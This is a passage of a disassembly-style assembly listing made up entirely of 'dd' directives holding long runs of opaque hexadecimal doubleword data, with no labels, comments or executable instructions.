		dd 7BAAFECAh, 3D5EFD7Ah, 2212CC52h, 0BBB6AB36h,	86D741A1h
		dd 7B82C16Bh, 4F3FE0BEh, 0C0FDE7F4h, 0EE1B8143h, 73956F86h
		dd 0D03EA2A0h, 2AF15FA4h, 0F0A55EC5h, 403931F0h, 793E784h
		dd 7F216D82h, 0DEEB9C4Bh, 2E885D60h, 714DAC66h,	64F1B209h
		dd 0ABE248Ch, 0EA7089A5h, 4FC744E2h, 46744AB9h,	0CD5EA031h
		dd 34E33C87h, 47694E0Fh, 8FB64FBEh, 99AC2D1Fh, 8EEB862Ch
		dd 0A68B60B5h, 0C1C40DC4h, 40E16292h, 72218BE0h, 72ADBB44h
		dd 0FB2F9E98h, 633CCFD9h, 0D6B47805h, 74D89D77h, 0E642493h
		dd 3EFE55F1h, 28BEAEE2h, 12C9397Bh, 0EA898FF1h,	0BB69108Dh
		dd 93EC08BAh, 0D6316D73h, 1E6A76D6h, 58E78AE6h,	0BA343FEFh
		dd 5D6A50CDh, 0DCE9239h, 604DD3Dh, 4F385FCEh, 99FA5E9h
		dd 4A26F78Bh, 29667810h, 14F5EEE7h, 2400B3BEh, 8D60B67Bh
		dd 60C6CC53h, 6811F372h, 0A6A8C970h, 47A3D126h,	0B2099BF9h
		dd 0C11EFE27h, 9364B502h, 4C99D926h, 8344BECAh,	2F39FE97h
		dd 0CA2EFE1h, 0C9F1D2E2h, 0A1B87D3Ah, 64CE577Fh, 0F4279506h
		dd 0BC8AE6D2h, 9C604813h, 40C5C5F9h, 3C77EF5Eh,	0CCD85D0Ah
		dd 6B0162F3h, 6F02EC5Ch, 0F58BA2F6h, 14D0707Fh,	0A7689024h
		dd 0DE7CC9C1h, 0CE8CD4ACh, 2E97AEC2h, 4D9FDC55h, 0BCEEA1D2h
		dd 0A28B225Eh, 0B8C43C92h, 506F8D2Dh, 18AD3BD9h, 2273E20Dh
		dd 0A1598188h, 51269EC2h, 9D8EC3Ch, 41CA5894h, 0B36BCC9Ah
		dd 8E8054DEh, 0D3DBB1A5h, 8C58FFF9h, 2247E4B5h,	2ECDD7D9h
		dd 218FCDEDh, 3D6E533Ch, 0E967852Ah, 55F1D2BAh,	730102C1h
		dd 0F22B7395h, 274C82F8h, 0BA2B0290h, 0CB838FA1h, 183FEE95h
		dd 5865C6DEh, 0B39EBED8h, 668C0CB1h, 0B35564E4h, 999E0A3Bh
		dd 0E5280709h, 0DC7B942Fh, 0E6E47577h, 44F6591Dh, 325F72D1h
		dd 0B29CCBEEh, 9543C874h, 87385F6h, 5B39FC8Bh, 0FEFDA112h
		dd 0C3B2C093h, 6B6F0A50h, 0B4BB19B0h, 1B0E1A1Ah, 0FC5A68F2h
		dd 0C603C1E9h, 9DCDA6FFh, 5352358Bh, 3BA4C62Fh,	71DF4C70h
		dd 0EC5ECDFFh, 2B1B823Bh, 0E190A339h, 0E671F812h, 0A1BCB4A5h
		dd 0C9BEEDB1h, 0A87DC881h, 250D54A4h, 1EA3B533h, 60CF04Ah
		dd 84E13C9Fh, 0D3CE30ECh, 80807882h, 0BE2A2368h, 0BCB04D22h
		dd 0C38906C1h, 85159534h, 0FD9F5C10h, 5BA6B56Bh, 39DD4FD8h
		dd 3B0E0500h, 817FA213h, 8ABA0FBFh, 9BF64E24h, 931A981Fh
		dd 0F371FA2Fh, 15C1890Fh, 0C5DB893Dh, 0A575E026h, 0F8ED01E5h
		dd 1076483Fh, 0A48F9DCDh, 0DA772455h, 7EC7797h,	0A483218h
		dd 0B9E74737h, 26F7C4BDh, 34F35DC7h, 6639B439h,	286BB90Dh
		dd 0F70124C2h, 0CF6F0EDAh, 29678027h, 4F7EEC0Eh, 41415F9Eh
		dd 8BBA4951h, 0E0E99A10h, 7BA3B9F7h, 92A7D6C8h,	0F06207F4h
		dd 9CAD01E3h, 7DB39E0Dh, 4904523Ah, 7D90C27Ch, 0C831815Dh
		dd 3F9211AFh, 0C2362855h, 14A7A26Eh, 2DD14E43h,	222A4292h
		dd 0D01D8Bh, 268AB954h,	0E6CC9F25h, 7146D4A2h, 0EBED4D8h
		dd 0DB639669h, 0B2885C95h, 0CDDE9375h, 0FDC0F39Ah, 67715D5Fh
		dd 875A3786h, 21832898h, 0F89D181Dh, 8B190EACh,	88ED22D0h
		dd 30AA2A81h, 27A1AF97h, 0B9E3B2E5h, 0EBD02430h, 2C45815h
		dd 3D36CE50h, 1CC400A8h, 8D25F04Fh, 44A5B85h, 9A42AD84h
		dd 0B6B970BDh, 154BAAC6h, 92062C36h, 26ED3216h,	0BA4346E9h
		dd 5E0E472Dh, 515C1734h, 9C4AC51Ch, 0BC16819Eh,	0AC8B9AAAh
		dd 45CEE7A7h, 152084FFh, 0F96C3074h, 5BCFA042h,	2C438CA8h
		dd 0D45636D9h, 61822DC9h, 25FB51E1h, 84C50284h,	8F333F79h
		dd 0A8165898h, 0C0FDC466h
		dd 88C5B138h, 198B17C7h, 0AB0D5C4Ah, 0CAC9B5CCh, 0E988A303h
		dd 0E2C072ABh, 3346B60Dh, 2CBECF8Dh, 0C018745Eh, 0A3D5C2BFh
		dd 33330395h, 0EF0C785Ch, 52D6CC23h, 9DA593D0h,	642EFE3Fh
		dd 0AE387EAAh, 265FC8C2h, 35B6F5C5h, 0A27212EFh, 5F1EF0F0h
		dd 28680D82h, 9AC54DA1h, 1F1B055Dh, 0EAA4F508h,	10AFDD08h
		dd 0A78B6CEFh, 0C395D973h, 0B97E2375h, 0C312F512h, 7E6FE877h
		dd 0EF1135EAh, 12FE3ED6h, 0C42AF458h, 73CEC5FAh, 6F646602h
		dd 0BB9A76A0h, 197B6B7Bh, 0E5A02469h, 0C022C96Dh, 37E4834Fh
		dd 0D1E93DB6h, 0EB1CD9DAh, 0EBC0E645h, 3EC2156Fh, 261F41AEh
		dd 9AB2CBF9h, 0EB3AB035h, 1AB5F7BAh, 874EC538h,	0F4AEAC12h
		dd 0BFD00BAEh, 0F4CA8B5Bh, 0E41A7EABh, 0B31E384Eh, 1DC206BBh
		dd 4C39C942h, 8425E6h, 6E0D9B1Dh, 2917B962h, 3B19CDFDh
		dd 0C089EA34h, 0A13A0B8Ah, 0D9A68458h, 6287B518h, 0F1B30CBDh
		dd 0AAA50689h, 30AFA02Fh, 3BE2616Eh, 0CCC5147Eh, 4E9CBBD1h
		dd 6896DE29h, 337DE347h, 0F29AB636h, 0AB7AD2E9h, 2A31C740h
		dd 2D1CDC0Ah, 31DDAD30h, 8A66061Fh, 0C9863F0Fh,	5F57B2Ch
		dd 9C8C6B61h, 3F048903h, 7DD517DEh, 8E0010F5h, 5539BA90h
		dd 9AA35FC9h, 9E28CC01h, 0F34B7B10h, 5D059EDFh,	4D71B801h
		dd 97C5765Bh, 31D5A7BEh, 6944E904h, 0AC446978h,	5B69D8F7h
		dd 0B87E6505h, 0ED3F8C7Ah, 26AD55F7h, 7D4C8225h, 5CEA8F95h
		dd 0F1B9EF58h, 0EA94D335h, 0A79359BEh, 807E6DF4h, 10E10F35h
		dd 0D520AE6Bh, 0B2F94BD3h, 70A4FF5Dh, 0A7CA287Dh, 87B209BDh
		dd 0B20DF037h, 0F7146FD1h, 0CF321248h, 0ADCC6A42h, 8F66EA09h
		dd 25F7D105h, 941D0DEDh, 0D35CB30Ah, 4CC0B17h, 0E67807C8h
		dd 0E390B475h, 804F9AF1h, 1B045455h, 4EBF8E89h,	259A3676h
		dd 0D1325AFCh, 0CD1546AFh, 17744A65h, 8F8E377h,	774AFB22h
		dd 0E080670Eh, 73FA558Bh, 77D85596h, 0C4A88A2Eh, 0FCC811A8h
		dd 1CBB0A33h, 19228DE2h, 0F619B4CCh, 583A146Fh,	8DD34542h
		dd 768353BDh, 0BAA9898Ch, 0D707837Bh, 4CE5F69Fh, 25987F10h
		dd 608E40E5h, 91176BACh, 7CE85C00h, 0B542BC9Bh,	10280B50h
		dd 8737D5F3h, 27AB9371h, 0DB988B20h, 88583C7Bh,	0E96F1EAh
		dd 12D3DAEAh, 4C1AEC0Ch, 9CB99604h, 27F23E0Eh, 8210B49Ch
		dd 0A3206DA5h, 5325B399h, 0E64F3978h, 0C817CB21h, 0E7256196h
		dd 89B8BB80h, 528551Bh,	60C193F5h, 9132D1D3h, 8247D9C6h
		dd 8EA293BAh, 0FFA87B61h, 4B58DBF0h, 0C52A53h, 1A9F18E5h
		dd 67BE3B30h, 0B85F120Ah, 0C127B762h, 0D8E54AF4h, 1016FDDh
		dd 864349FAh, 0C69E0F71h, 0B7E2ACE6h, 9B3C3FAEh, 0E8F4052Bh
		dd 133606E8h, 5B0AFD47h, 27B7173Bh, 0D81ED75Bh,	0EFBAB4F2h
		dd 0D1CFC00h, 709E3E0Bh, 0DD105361h, 0EDA881A3h, 8DDA6F48h
		dd 8BA387E0h, 82959AACh, 0A5190543h, 4199E1E4h,	7567EF4Ah
		dd 667C0C72h, 79FBF99Ch, 0CA6A4486h, 849F0305h,	5021C883h
		dd 0E43C393Fh, 89B5C87Dh, 3DE6EDCAh, 1E3A579Eh,	0D654991Ch
		dd 0AA5D3637h, 454AEA78h, 0EA3F81BFh, 0A45CB2A2h, 0F3D20D14h
		dd 9DE77F18h, 0A683183Ch, 0A901C9B7h, 0ECCF39EDh, 6DF82CC3h
		dd 2C6ED431h, 1DFED08Bh, 0D7D9DA50h, 9FCCC4D4h,	2A22C947h
		dd 0EBD06F8Ch, 0D39CA6A0h, 16D5EA0Dh, 848F1223h, 0F06B692Ch
		dd 0CAFDDA91h, 6C19C6D4h, 9234EFBCh, 0D76A1785h, 0DCEC3996h
		dd 9FD98051h, 0D9A220FCh, 0C7B0729h, 205BA142h,	21BC317Fh
		dd 16DE9978h, 54ACE98Bh, 6B9D1567h, 56F0B80h, 885468E8h
		dd 4674EC81h, 896A0185h, 38EEBE1Eh, 80E0B483h, 1F2F2160h
		dd 0FC4CB1A9h, 7913FDE0h, 3C27868Ah, 0DEF1AFE1h, 0FBC261DAh
		dd 7EB5910Eh, 0BCFECAFCh, 4363B901h, 1FC3E5E2h,	0AA79EBA6h
		dd 4B62AEB0h, 6E179786h, 0E030E872h, 0D2E63773h, 19CF06EEh
		dd 0A06F135Fh, 5CE0D83h, 9F9C957Ah, 3BDCEA19h, 561F0976h
		dd 6717A80h, 0A615AEDBh, 0D5736AA8h, 4A90BE1Fh,	78491D74h
		dd 0DFCCC06Bh, 4C6D0257h, 8E4A098Eh, 3099D2D8h,	9A646CE3h
		dd 61514E11h, 4F4A2635h, 724476CCh, 7AF0B991h, 2F47835Fh
		dd 0A7397101h, 0EBD5F9B4h, 0A212BA08h, 0C651861Ah, 469F301Ah
		dd 3B2C5634h, 99AE54DDh, 4154B726h, 0D041415Fh,	731B2089h
		dd 49482BA6h, 8AA9E7B5h, 44A408DFh, 1C7B42AEh, 0C27BE04Fh
		dd 2778C122h, 98EB6C76h, 1DDFA66Ch, 2454E14Eh, 1EF43553h
		dd 0B640153Ch, 0CB55DA7Bh, 3E358EC1h, 2BD4CBC1h, 85EE1E2Ch
		dd 8ED0A37Ch, 1FC7C070h, 8886ABB2h, 4EB04F0Ah, 0E759A0DEh
		dd 134F1EA4h, 4E547EC4h, 9DA1B43Ah, 0C834BE5Bh,	199CA3D2h
		dd 18525B27h, 0FD4C4ABBh, 69C1A7BFh, 1590D4E1h,	0D20DCA04h
		dd 349A59F5h, 40E067DEh, 0E7C6DCAAh, 28F43F7Bh,	69D44C8Eh
		dd 1C21ABE1h, 9651FBB4h, 9EA360Ah, 24B0E587h, 41188270h
		dd 1948F8D2h, 16FC43F1h, 5E378162h, 424288DAh, 209687F1h
		dd 0DD33903Bh, 139B414Fh, 34CD82A8h, 80F50613h,	0E4E8FA9Ch
		dd 0F1344195h, 390418A4h, 17178D43h, 0F7DA320Ah, 0D45D7389h
		dd 0B1CD4700h, 0E8348029h, 6723DF59h, 23C2249Eh, 648C7194h
		dd 7C7D76D3h, 5AA9A2D0h, 8A146F98h, 88E09E3Ch, 5B51C0C5h
		dd 0ED66C515h, 0CD9A0780h, 0BAAF6164h, 59226100h, 0D1C7418Eh
		dd 0FC55FAEBh, 0C58060ECh, 3779F927h, 0F21CDEC1h, 0A2CEA7A9h
		dd 1DCD006Fh, 0F6167484h, 97324FA9h, 8AF8452Bh,	9CE0BFFDh
		dd 9B4Ch, 0A82B2798h, 6ACE7992h, 0E3DC0ED2h, 0A8D7F610h
		dd 93DFC00Dh, 562DE936h, 4A580B36h, 7EF6A06Bh, 1B804AC0h
		dd 58ECF511h, 6BCACC9Dh, 0E42C002Ah, 570DD9A3h,	0BAB1C94Dh
		dd 69B27D0Ch, 8B03F3ACh, 2255F2B4h, 9F1348AEh, 0C29EB50Dh
		dd 943287F1h, 386E3DACh, 8CA1ADDBh, 0A89D9B8Eh,	2F2F8AE4h
		dd 10C4432Bh, 0D55A348Eh, 50054620h, 9BA7E8E8h,	0BA2EB70Bh
		dd 47478B9Ah, 0E7532889h, 84945297h, 6D374C7Bh,	8454BFF7h
		dd 5B75F916h, 4DB73297h, 3E21EE23h, 232FB610h, 9057DC2Bh
		dd 0FF9C2714h, 94D401CEh, 82B9FA59h, 2AFED6FAh,	69890150h
		dd 511AFA32h, 0F6350467h, 6D77C899h, 6FBA7DC0h,	0B914F729h
		dd 0C5C86884h, 0A46BA367h, 0C37E693h, 0E661FF28h, 3CA28222h
		dd 4BF28E9Ah, 5397E4B8h, 0BC0222FDh, 6B7BB9C6h,	0D5004326h
		dd 391CED34h, 906347FAh, 0E2D428E4h, 70870FDh, 0B9E2B850h
		dd 0D745E441h, 0C0E66E9Eh, 0BE5564FDh, 0EF279AFFh, 2F1BAAE9h
		dd 0FEBF3FBh, 74A33220h, 40FC1D10h, 0B913D443h,	9A58E7E4h
		dd 0BDA60080h, 6142395Eh, 0EED5A355h, 0FD1DDC08h, 7AB2C9B4h
		dd 0AEEEA242h, 9BB59EA8h, 497F1E1Dh, 0BAC3BC6Dh, 23CB99BAh
		dd 0FF455EA0h, 48C2E234h, 0A73D3334h, 117C505Bh, 0D3B53271h
		dd 41D650C5h, 62BA5742h, 7BB37763h, 0C2337612h,	14FD54ACh
		dd 0F0FACC22h, 71FDFA13h, 35906EAFh, 41BD28C7h,	9DFEE8EAh
		dd 0EEE9095Dh, 0B62713EFh, 106AA519h, 0B01E6241h, 6DF2D7C3h
		dd 0C3A4CDCCh, 2E9DF49Dh, 0A7A18EADh, 9E78B70Ah, 1A900EABh
		dd 46B361ACh, 9F04E0BEh, 94D921B0h, 3F4D62E8h, 0C6A43677h
		dd 261BAA0h, 0B3AEFFDEh, 0C0C3BC8Eh, 5E870FF6h,	9809CB91h
		dd 9B2019EEh, 0F67E3A20h, 58DF00CCh, 43C85EF6h,	64F54E69h
		dd 0F1EAFBF1h, 0BD30CBC5h, 0BB934E2Bh, 0D4CEAE31h, 374F6EEDh
		dd 79F258D0h, 9A6DE0DFh, 0A9C2721Fh, 135C94C7h,	412A8BAAh
		dd 2C7C2B21h, 0FBA039E2h
		dd 0AA38CBA4h, 0C07CC43Bh, 0E92E51C3h, 0F84A3D0Eh, 7039212Ah
		dd 71630932h, 4708E74Eh, 4DB266F3h, 9C0DD813h, 57BCE563h
		dd 0C60BA6Ch, 5B4AA142h, 1CB8B6D0h, 14CF00B4h, 8E8C0093h
		dd 60FFB64Ch, 74D05E77h, 0A3C1D49Ch, 0EA8F6A3Ch, 35A2A500h
		dd 82666DCBh, 8B9A03B6h, 0A0413014h, 5DBA3299h,	0C7C9C8E8h
		dd 1956051Eh, 0C7AAB209h, 0D3175DAEh, 0FAB188EAh, 0FB431BD9h
		dd 0A393B60Dh, 13928557h, 19F7622Eh, 0D8C8BF0Ch, 0CF934CEAh
		dd 5A559592h, 8A41D90Bh, 0A560AD9Ah, 4736EB5Ah,	955CF4B3h
		dd 1F4F7495h, 87CEF5CCh, 3B2A1342h, 355E7F45h, 0EBE59F04h
		dd 3C57B0F8h, 399E3F82h, 0A394AC97h, 6CFB487h, 0BC80D0A2h
		dd 234B9A3h, 0D777FA18h, 0A0B20380h, 75117FAEh,	4806BF76h
		dd 35951503h, 6E701F01h, 9318D887h, 68649104h, 65E201DEh
		dd 1470EA41h, 834D59FDh, 0EF646F86h, 80C7FB1Eh,	553E9D30h
		dd 0A518EF3h, 32C3A26Dh, 0CE4D6E6Ch, 0A39682D1h, 0A9EA94D7h
		dd 0F36F79DDh, 0F166AE7Bh, 728F052Ah, 64CDD93h,	0B96E4F53h
		dd 101DE29Fh, 0BD93033Dh, 0F9A07879h, 4AE40F37h, 6F19554Fh
		dd 90FD3CACh, 20841AB1h, 22EE53BCh, 8FD5A2ABh, 0BC759937h
		dd 88B2B475h, 0FFD60B8Dh, 0A353D586h, 18EFAD14h, 0E5A58B49h
		dd 2B2BB053h, 12982925h, 7246B734h, 21B954A4h, 4BB7DFDBh
		dd 5873A73Ch, 6D9B60E3h, 0C628730Dh, 2F4BA213h,	90F671BBh
		dd 1059F78Dh, 767010A6h, 5B0323EFh, 0D6A36C1Fh,	65DF340h
		dd 0F4F898DEh, 8B41D25Bh, 0C564E18Fh, 5A84DBADh, 0EC5396CCh
		dd 0CEAD4CB0h, 0EFA0AE3Fh, 0B4994CAFh, 0D5CD1C89h, 0CFDA5E02h
		dd 0E6B113Bh, 400E0EB1h, 5260E8h, 115F5A3Bh, 2A43D597h
		dd 0E173605Ah, 752EB27Ah, 213CAEACh, 554EC229h,	7FD6B4F5h
		dd 1B955D0Dh, 850CC0F2h, 0FF0B638Bh, 0A7F48578h, 51C6E620h
		dd 72D74FD7h, 0B89EDAE9h, 0C7CB0868h, 0B76D49F4h, 0ADA884F0h
		dd 9AF31865h, 9363D3C9h, 0EB442717h, 8D38CDB2h,	986EC66Fh
		dd 0D82BC107h, 79C60091h, 0A72B3078h, 635E3143h, 0B38D5054h
		dd 0D6D6D692h, 0B4F49E1h, 49359CB0h, 9D7DE67Fh,	3413E07h
		dd 9AEF944Bh, 0BD37C32Eh, 24E0CCC3h, 3A070824h,	0C0453339h
		dd 8B9DBCCh, 4BFC5635h,	4F7BF210h, 5A54CAC3h, 60F32F5Dh
		dd 0AD8E7B23h, 79CA4DBCh, 2237DE38h, 0F7901E30h, 17FC3AEEh
		dd 35986FF7h, 4B57A9E1h, 95A11786h, 827549A2h, 1BEBC28Eh
		dd 2275888h, 0A9D1B185h, 0F7A9E809h, 0EA533EDFh, 1D260BAFh
		dd 94101C6Fh, 0FA80028Fh, 23B23C91h, 8E60728Eh,	92AB1D5Bh
		dd 488E11E4h, 90C3ABD4h, 9C3B9AFFh, 883050BFh, 4243C036h
		dd 4371AD02h, 2E50C337h, 0D508F7DCh, 0ED155FD0h, 65E023CEh
		dd 0B50D613Fh, 5F324EEFh, 482DC578h, 8E11CD3Bh,	0C7944C84h
		dd 545554CCh, 68E9D697h, 9A8F2766h, 98E636D5h, 210BD66h
		dd 754CFF24h, 48ECF047h, 0D3B08E1Ch, 663452AEh,	0CB9E81CBh
		dd 966BAA8Dh, 66806934h, 30D83215h, 0FBA1794Ah,	8478B882h
		dd 0E592CADh, 0E56124A1h, 0CA809D4Ch, 25010519h, 7B74AE7Fh
		dd 8E9734F3h, 4B401160h, 9FD70B82h, 76654517h, 929A447Dh
		dd 53EE99D7h, 87D62BA5h, 37D73B56h, 2BACB670h, 92CF93C2h
		dd 29DFE47Bh, 49624DAEh, 0A2D35103h, 428E97A1h,	0A97F8AB8h
		dd 98E86814h, 0C3F05F30h, 3ACBE34Ch, 645DCE02h,	0C9FF9F21h
		dd 8FA94BA6h, 0FC81B2Fh, 87FE9A97h, 56794118h, 1D7180E1h
		dd 0FC5B6152h, 19AA8CD9h, 7AEC0977h, 46F638ABh,	20D51AB2h
		dd 8B48E964h, 0AC040E0Bh, 369665AFh, 0A2DC17EFh, 0D51CD5A7h
		dd 727E1FADh, 72334D38h, 2B128326h, 0FFBE6579h,	0C9E701C5h
		dd 0EAB63F42h, 36066D01h, 0CB07CB7Bh, 0DED39C4h, 0AEEDDEC0h
		dd 0FCAFA0F1h, 4B29B186h, 0AA75F188h, 930803D5h, 90738964h
		dd 705C50CCh, 0D48C9310h, 0FB862A0Fh, 0F00EF186h, 9B98C2FCh
		dd 61291603h, 2DDBE8E7h, 2FE13642h, 8BE9BE4Fh, 3F0F6E5Bh
		dd 18331CD8h, 0D078F13Bh, 0E294C2C1h, 0FEC2A5C4h, 762B9F9h
		dd 25E98F63h, 0F0186116h, 0E282DF52h, 13EE67E6h, 67441DD0h
		dd 7B7D83B2h, 90A0A710h, 53CE41Fh, 6BF0BC63h, 9EAFA531h
		dd 0D8320146h, 0BA667960h, 0B635AF8Ch, 8023A273h, 38211D80h
		dd 0DBB66DBh, 9FE3E823h, 0A57B9B5Fh, 36F5E59Bh,	8DB8D41Ch
		dd 61E5FB97h, 96C515A3h, 233739BDh, 3B8EB38Ch, 4850E0FDh
		dd 737FDF58h, 5F7AE900h, 329FE716h, 3C4CB41Ch, 0BE7FFDB4h
		dd 0D703DB4Bh, 1233CE70h, 435E768Dh, 0E49FEE5Bh, 0E5ACD163h
		dd 0F0ADC334h, 0CDE33E27h, 435FB3F5h, 0CC3C8C2Eh, 927BE2C5h
		dd 0DE5A67C5h, 0C3B5FE0Fh, 382A7A95h, 52EC775Ah, 58BA26A1h
		dd 2695D849h, 8DD5C80h,	63AEC0CEh, 0F9AB2322h, 0B10C58E1h
		dd 15FE714Eh, 0F9BC121Ah, 0B925093h, 1511904Dh,	40270D45h
		dd 0ADE16F19h, 39DC3267h, 8FF656BFh, 9E280700h,	9230BE57h
		dd 0BEA31B9Eh, 9224E1C4h, 0E2C28962h, 0D9B93C47h, 7868158Ch
		dd 34FAA72h, 0A9797A72h, 0EC387889h, 3AA6A7ECh,	655872B0h
		dd 82130B63h, 57C417EBh, 28D22893h, 13B1808Dh, 0F83A8613h
		dd 6555A19Ch, 6B1CB7A5h, 7E7D4A51h, 561AFA69h, 75360915h
		dd 0C800E829h, 210F2D50h, 0F14282A9h, 13AD5D42h, 3158B1DFh
		dd 0B4FC636Eh, 6BA1A05Ah, 6D34F7C7h, 2D77BB3Ch,	7802E8ACh
		dd 0E1038FE7h, 7AE64708h, 45C8A927h, 0C99D925h,	974B2B7Fh
		dd 0E917412Ah, 0EB867F5Dh, 632D0FFEh, 45C385Ah,	6718D07h
		dd 0A59ADC2Bh, 0CDCB98AAh, 26EA83DBh, 988A7B1Ch, 0E0D335DEh
		dd 2354AA72h, 352E55DCh, 0F353160h, 0C2F69F5Ch,	5E59815h
		dd 30CF50A1h, 0F4A3C5A9h, 742E9469h, 69682419h,	3A93EF1Bh
		dd 8336FEB9h, 347057AEh, 48D16F09h, 8815972Ch, 9E3DBBFAh
		dd 699A9585h, 476C9683h, 80ECF29Bh, 355AF9C7h, 7B0FD90Bh
		dd 3BFA65F7h, 5804A7BAh, 1CE2D371h, 2F525D4Ah, 3C8FFE3Fh
		dd 43E53D34h, 115915DDh, 62C4FFB4h, 0DCFD7238h,	5A8DBD57h
		dd 159025D0h, 3D04BBCAh, 4703F2FFh, 0D0EA109Bh,	0A6CF5A3h
		dd 0B4F58692h, 998ABCB3h, 8C1C564Fh, 6449F7A6h,	34CF7C3Eh
		dd 0A898A718h, 4EACB9FFh, 0E977DDA6h, 34241725h, 19956598h
		dd 7C2889BCh, 1D83AA4Dh, 4D91F7F5h, 235C60F8h, 0AC6873AFh
		dd 289F4017h, 84F0750Ah, 482B6356h, 8EE80AAAh, 0F8AA1CDCh
		dd 12928A8Ah, 92259811h, 5FD9C394h, 807036FCh, 0F74D7875h
		dd 0DF55DF26h, 57E361B1h, 8BAD5F71h, 0D7822DCFh, 0CFC7789h
		dd 840D805Eh, 0E02ED00Bh, 0E908D373h, 0CC52FE76h, 0CB37752Ch
		dd 76C5A059h, 66235A4Dh, 7D15668Bh, 0BE1DFE87h,	8410C33Bh
		dd 94F02FE6h, 45A121FAh, 1606A266h, 3844A09Ah, 3F21FCDBh
		dd 0C0C11549h, 0CFE6AF05h, 0B4E75DAAh, 4C56EC64h, 5A58E016h
		dd 0B971A990h, 733DB120h, 0F3BCAB79h, 15D4A6D6h, 67B035D7h
		dd 29EF817Fh, 77B50975h, 4BE7D4B3h, 0E6F6F6B7h,	0D330AE63h
		dd 4F4EA2E9h, 3E214B00h, 64C3D0E5h, 0F54BB94Ah,	22C50D48h
		dd 0A10D6A80h, 233E4802h, 56A979D0h, 0BA4DD45Fh, 9A69B588h
		dd 0D0EBF606h, 0E2D0596Dh, 0B8BFE1FEh, 9CC1A5DFh, 0AC6FEE08h
		dd 2608F98Eh, 5F4AF00Eh, 6EA8DF07h, 20D78D59h, 0EDCE463Bh
		dd 0FB919DB7h, 9D18E469h, 0C623E4Eh, 5029DBD9h,	6FA4D579h
		dd 0AFE8A3DFh, 44B6762Ah, 767B4064h, 0A910C5B6h, 0D47F99D3h
		dd 0CAD64A20h, 17CD10EBh
		dd 0C9AF2D2Ah, 9A93D2A4h, 0DC6CE764h, 7FFBB3A7h, 0BA8A51ECh
		dd 0A061127Fh, 0B64C2553h, 0E9F7ED57h, 5913074Bh, 6C7696C5h
		dd 0CFA1FB46h, 4E7D215Dh, 82EAA07Ch, 0FC8A52EBh, 25F3EFDAh
		dd 14ACEB6Ch, 0AB17448Fh, 92BB1E8Ah, 0B34C62A5h, 0AD704D70h
		dd 227C0F3Bh, 898EDE7Eh, 5E6AFA58h, 0BCFCD41Dh,	10DA526Ch
		dd 93092CFEh, 48BAEBFh,	864F303Ch, 21AE8692h, 0D3BB54E9h
		dd 0BBE20763h, 2E4FF213h, 51235B78h, 301BD521h,	776DA4E7h
		dd 2EBF3F88h, 0E322DB81h, 0C31CF906h, 2A5B7F52h, 0FD9C41DDh
		dd 0E8C785FAh, 0B2B785D0h, 3DAD1BF5h, 0D78AB969h, 40682EC5h
		dd 0C206C3E9h, 875E58F8h, 834497DDh, 2D0EBB82h,	4FFB7D45h
		dd 0EBB85119h, 0CE6CDEF0h, 30433A02h, 70F1630Ah, 9A3C60CDh
		dd 8E5C6796h, 48C1A15Dh, 6007FFBh, 0AEE84917h, 0D5C965A7h
		dd 0B32EA25h, 67527139h, 2CF9C373h, 1D031C8Ch, 81660706h
		dd 0C88FDB5Eh, 0D7B37BA3h, 0CE75D907h, 88BC7386h, 6AC089BEh
		dd 8DB8EE31h, 0B1C72A62h, 29E759CCh, 6059680h, 0AA3F3Eh
		dd 26B67375h, 3AC50AC5h, 0DA9AE292h, 9C0760F1h,	974ECD59h
		dd 5BC412E7h, 4BFBB419h, 78E3FEB2h, 977690D2h, 90F47578h
		dd 0C7F0BD7Eh, 0BB7911E7h, 17CC411Ch, 0F080D956h, 81D96D42h
		dd 0CEEF1B10h, 0B2C00512h, 6FBF4150h, 0FA0F0EE4h, 52E186C4h
		dd 0FE036671h, 5E32712Eh, 5C115219h, 1D737EA7h,	0F1BEC693h
		dd 2B36A1CAh, 0E54A312Ch, 0A6DFCA8Eh, 8161D46h,	35E0407Bh
		dd 1FA4AD66h, 8F7DA50h,	2B4BA103h, 98B0FDF9h, 0F7CF174Fh
		dd 6628EBDCh, 46F636C4h, 65141BFDh, 685207EDh, 64EB2D18h
		dd 0D7A4123Ah, 0AD24F7F6h, 4D3A1054h, 0FB448A71h, 0E17D1453h
		dd 0CCCB853Ch, 1B0205C9h, 4AA9BCBFh, 0B0E24CDCh, 0D797D7C5h
		dd 5776479h, 0F3DBBCCDh, 0E384DF66h, 4358EB89h,	189E7790h
		dd 8E4B5849h, 0D7E48BEFh, 7990BC8Ah, 0D0C78B54h, 9134271Fh
		dd 5E39BCC3h, 3000AC90h, 16EF948Ah, 0F198F650h,	30FF19F8h
		dd 0FBB8B1C6h, 1850A253h, 76BAF604h, 12FE89FBh,	3A1CA459h
		dd 920BDEF2h, 0E3007821h, 9E7964CFh, 419AE791h,	0FF46F51Fh
		dd 2004534Ah, 0CCD0804Ch, 24DAFBFFh, 9C8E0F65h,	3809B9B8h
		dd 67E0F0E7h, 1AA5B376h, 0F7E2F331h, 0E0E29242h, 7A18ADB3h
		dd 0FA44D732h, 0A4877700h, 7B961E51h, 5F736F2h,	0E1B1004Bh
		dd 0C2B15847h, 0EEFC8175h, 68DC1D30h, 996DB1A8h, 2013E8D3h
		dd 34C56DCDh, 0BECC13E0h, 3B3D7159h, 41606060h,	0A7C8B47Bh
		dd 0A14A563Bh, 823F0F28h, 711098C4h, 1DDD16Ch, 107D94CFh
		dd 0BA9A7E0Ch, 0FBDA01F1h, 61C8536Dh, 87240183h, 9BECF62Eh
		dd 3ACE4909h, 68BF014Bh, 9EA20EB2h, 0E8A31BD4h,	0A3E91375h
		dd 89F26C55h, 502CD415h, 8FBDD7AFh, 352A53ADh, 0AC422937h
		dd 44B070DEh, 6F0378C3h, 56B0C5DFh, 7A848B7Ah, 0A13B9E91h
		dd 6A9ED4DAh, 97D89C46h, 4B5BE2Dh, 83B8EF05h, 4001DB52h
		dd 85CFCAC4h, 0C03C9609h, 0A281CDB6h, 750A2A37h, 0A61097F2h
		dd 0B0A75C1Bh, 25A6B6DCh, 0C060EE6Eh, 0EBA989ABh, 4C9DC603h
		dd 1846C25h, 263FD913h,	0E0C2DABBh, 0C1C7FA7Fh,	8D10DDB2h
		dd 0BCF46149h, 3AA29CAh, 39B110D2h, 416358C8h, 0A14DF496h
		dd 0D7BCF3A5h, 771B4BDBh, 8DAE07B3h, 0D9A5C462h, 0A99B2F12h
		dd 32461126h, 650939E5h, 43D4F9EAh, 7882B631h, 7143DF1Bh
		dd 4A181F6Ah, 21EF0102h, 79CB2F11h, 430C0B3Dh, 4BA735ADh
		dd 6FAAE8A4h, 6428C475h, 7F853F86h, 9C3C3037h, 2AB3C64h
